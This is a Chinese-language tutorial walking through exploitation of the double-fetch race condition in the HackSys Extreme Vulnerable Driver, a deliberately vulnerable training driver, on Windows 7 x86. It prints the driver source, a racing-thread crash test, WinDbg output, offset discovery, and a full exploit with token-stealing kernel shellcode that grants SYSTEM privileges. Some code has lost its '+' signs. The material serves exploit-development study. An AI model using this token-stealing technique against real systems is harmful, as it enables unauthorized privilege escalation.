作者selph
前言
窥探Ring0漏洞世界：条件竞争漏洞
在多线程访问临界区的情况下，使用进程互斥可以使多个线程不能同时访问操作关键区的变量，条件竞争漏洞就源于没有对可能会被多个线程访问的变量进行保护，导致多重访问使得在一次操作中，操作的值在中间发生了变化。
实验环境：
•虚拟机：Windows 7 x86
•物理机：Windows 10 x64
•软件：IDA，Windbg，VS2022
漏洞分析
老样子，先IDA分析漏洞函数TriggerDoubleFetch，然后再看看源码
首先初始化800h字节栈缓冲区：
然后取出用户Buffer地址保存到局部变量里：
接下来用用户传入参数的Size进行比较大小判断长度合法性：
合法性通过之后，将用户缓冲区复制到内核里
源码：
///
/// Trigger the Double Fetch Vulnerability
///
///The pointer to user mode buffer /// NTSTATUS __declspec(safebuffers) NTSTATUS TriggerDoubleFetch( _In_ PDOUBLE_FETCH UserDoubleFetch ) { PVOID UserBuffer = NULL; NTSTATUS Status = STATUS_SUCCESS; ULONG KernelBuffer[BUFFER_SIZE] = { 0 }; #ifdef SECURE SIZE_T UserBufferSize = 0; #endif PAGED_CODE(); __try { // // Verify if the buffer resides in user mode // ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR)); DbgPrint("[ ] UserDoubleFetch: 0x%pn", UserDoubleFetch); DbgPrint("[ ] KernelBuffer: 0x%pn", &KernelBuffer); DbgPrint("[ ] KernelBuffer Size: 0x%zXn", sizeof(KernelBuffer)); #ifdef SECURE UserBuffer = UserDoubleFetch->Buffer; UserBufferSize = UserDoubleFetch->Size; // // Verify if the 'UserDoubleFetch->Buffer' resides in user mode // ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR)); DbgPrint("[ ] UserDoubleFetch->Buffer: 0x%pn", UserBuffer); DbgPrint("[ ] UserDoubleFetch->Size: 0x%zXn", UserBufferSize); if (UserBufferSize > sizeof(KernelBuffer)) { DbgPrint("[-] Invalid Buffer Size: 0x%zXn", UserBufferSize); Status = STATUS_INVALID_PARAMETER; return Status; } // // Secure Note: This is secure because the developer is fetching // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user // mode just once and storing it in a temporary variable. Later, this // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there // will be no race condition // RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize); #else UserBuffer = UserDoubleFetch->Buffer; DbgPrint("[ ] UserDoubleFetch->Buffer: 0x%pn", UserBuffer); DbgPrint("[ ] UserDoubleFetch->Size: 0x%zXn", UserDoubleFetch->Size); // // Verify if the 'UserDoubleFetch->Buffer' resides in user mode // ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR)); if (UserDoubleFetch->Size > sizeof(KernelBuffer)) { DbgPrint("[-] Invalid Buffer Size: 0x%zXn", UserDoubleFetch->Size); Status = STATUS_INVALID_PARAMETER; return Status; } DbgPrint("[ ] Triggering Double Fetchn"); // // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the // developer is fetching 'UserDoubleFetch->Size' from user mode twice and the // double fetched values are passed to RtlCopyMemory()/memcpy(). // This creates a race condition and the size check could be bypassed which will later // cause stack based buffer overflow // RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserDoubleFetch->Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%Xn", Status); } return Status; }
安全版本和漏洞版本的区别在于，是否用局部变量接收了用户传来的参数，这里接收的是一个结构体指针，指向用户内存的值，安全版本一次性用局部变量保存了用户传来的值，然后进行校验和复制，不安全版本则是直接从用户内存去读取这个值来进行操作
如果用户内存的这个结构的值是变化的，当校验的时候，Size合法，当复制的时候Size不合法，则可能造成缓冲区栈溢出
漏洞利用
通过多线程来实现对用户缓冲区的操作，一个线程用来发起正常请求，一个线程用来修改Size大小：
DWORD WINAPI FlippingThread() { while (TRUE) { UserBuffer->Size = 0x900; } } DWORD WINAPI RacingThread() { while (TRUE) { ULONG WriteRet = 0; UserBuffer->Size = 0x100; DeviceIoControl(hDevice, 0x222037, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL); } }
测试代码：
#include #include typedef struct _UserObject { ULONG_PTR Buffer; ULONG Size; }UserObject, * PUserObject; HANDLE hDevice = NULL; ULONG UserBufferSize = sizeof(UserObject); PUserObject UserBuffer = { 0 }; int main() { hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { printf("[ERROR]Open Device Errorrn"); system("pause"); exit(1); } else { printf("[INFO]Device Handle: 0x%Xn", hDevice); } UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize); if (!UserBuffer) { printf("[ERROR]Allocate ERROR"); system("pause"); exit(1); } else { printf("[INFO]Allocated Memory: 0x%pn", UserBuffer); printf("[INFO]Allocation Size: 0x%Xn", UserBufferSize); } // 申请用户缓冲区，填充满A UserBuffer->Buffer = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900); RtlFillMemory((void*)UserBuffer->Buffer, 0x900, 'A'); // 启动多线程 HANDLE hThreadRacing[10] = { 0 }; HANDLE hThreadFlipping[10] = { 0 }; for (size_t i = 0; i < 10; i ) { hThreadRacing[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RacingThread, NULL, 0, 0); hThreadFlipping[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FlippingThread, NULL, 0, 0); } // 多线程超时则关闭线程 if (WaitForMultipleObjects(10, hThreadRacing, TRUE, 120000)) { for (size_t i = 0; i < 10; i ) { TerminateThread(hThreadRacing[i], 0); CloseHandle(hThreadRacing[i]); TerminateThread(hThreadFlipping[i], 0); CloseHandle(hThreadFlipping[i]); } } HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer->Buffer); HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer); UserBuffer = NULL; system("pause"); system("cmd.exe"); return 0; }
不出意外，很快windbg里就有反应了，异常0xC0000005，查看寄存器：
kd> r eax=00000000 ebx=88739938 ecx=158c4b84 edx=00000000 esi=83ec8087 edi=887398c8 eip=41414141 esp=83aceae0 ebp=41414141 iopl=0nv up ei ng nz ac po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010292 41414141 ?? ???
发生了栈溢出，接下来用老方法去找溢出点，Kali的pattern_create.rb脚本：
┌──(selph㉿kali)-[~/桌面] └─$ ./pattern_create.rb -l 0x900 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7
用随机字符串替换缓冲区的值，再次执行，很快又崩溃了：
Access violation - code c0000005 (!!! second chance !!!) 35724334 ?????
获取溢出点位置：
┌──(selph㉿kali)-[~/桌面] └─$ ./pattern_offset.rb -q 35724334 -l 0x900 [*] Exact match at offset 2084
编写exp：
最终版本exp代码，通过提升线程优先级来提高条件竞争发生的几率，代码如下：
#include #include #include // Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID typedef struct _UserObject { ULONG_PTR Buffer; ULONG Size; }UserObject, * PUserObject; HANDLE hDevice = NULL; ULONG UserBufferSize = sizeof(UserObject); PUserObject UserBuffer = { 0 }; const char* randomSeries = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7"; VOID TokenStealingPayloadWin7() { // Importance of Kernel Recovery __asm { pushad ;获取当前进程EPROCESS xor eax, eax mov eax, fs: [eax KTHREAD_OFFSET] mov eax, [eax EPROCESS_OFFSET] mov ecx, eax ;搜索system进程EPROCESS mov edx, SYSTEM_PID SearchSystemPID : mov eax, [eax FLINK_OFFSET] sub eax, FLINK_OFFSET cmp[eax PID_OFFSET], edx jne SearchSystemPID ; token窃取 mov edx, [eax TOKEN_OFFSET] mov[ecx TOKEN_OFFSET], edx ;环境还原 返回 popad xor eax, eax add esp, 12 pop ebp ret 8 } } DWORD WINAPI FlippingThread() { while (TRUE) { UserBuffer->Size = 0x824 4; } } DWORD WINAPI RacingThread() { while (TRUE) { ULONG WriteRet = 0; UserBuffer->Size = 0x200; DeviceIoControl(hDevice, 0x222037, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL); } } int main() { PVOID EopPayload = &TokenStealingPayloadWin7; hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize); UserBuffer->Buffer = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900); RtlCopyMemory((void*)UserBuffer->Buffer, randomSeries, 0x900); *(PULONG)(UserBuffer->Buffer 0x824) = (ULONG)EopPayload; HANDLE hThreadRacing[10] = { 0 }; HANDLE hThreadFlipping[10] = { 0 }; for (size_t i = 0; i < 10; i ) { hThreadRacing[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RacingThread, NULL, CREATE_SUSPENDED, 0); hThreadFlipping[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FlippingThread, NULL, CREATE_SUSPENDED, 0); // 设置优先级可以提升线程抢占到CPU的频率，更有机会执行到shellcode SetThreadPriority(hThreadRacing[i], THREAD_PRIORITY_HIGHEST); SetThreadPriority(hThreadFlipping[i], THREAD_PRIORITY_HIGHEST); ResumeThread(hThreadRacing[i]); ResumeThread(hThreadFlipping[i]); } if (WaitForMultipleObjects(10, hThreadRacing, TRUE, 60000)) { for (size_t i = 0; i < 10; i ) { TerminateThread(hThreadRacing[i], 0); CloseHandle(hThreadRacing[i]); TerminateThread(hThreadFlipping[i], 0); CloseHandle(hThreadFlipping[i]); } } HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer->Buffer); HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer); UserBuffer = NULL; system("pause"); system("cmd.exe"); return 0; }
截图演示
参考资料
•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com)
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
•[2] HEVD writeups - yuvaly0's blog
https://yuvaly0.github.io/2020/09/15/hevd-writeups
•[3] CreateThread function (processthreadsapi.h) - Win32 apps | Microsoft Docs
https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread?f1url=?appId=Dev16IDEF1&l=ZH-CN&k=k(PROCESSTHREADSAPI%2FCreateThread);k(CreateThread);k(DevLang-C%2B%2B);k(TargetOS-Windows)&rd=true
•[4] WaitForMultipleObjects function (synchapi.h) - Win32 apps | Microsoft Docs
https://docs.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-waitformultipleobjects?f1url=?appId=Dev16IDEF1&l=ZH-CN&k=k(SYNCHAPI%2FWaitForMultipleObjects);k(WaitForMultipleObjects);k(DevLang-C%2B%2B);k(TargetOS-Windows)&rd=true
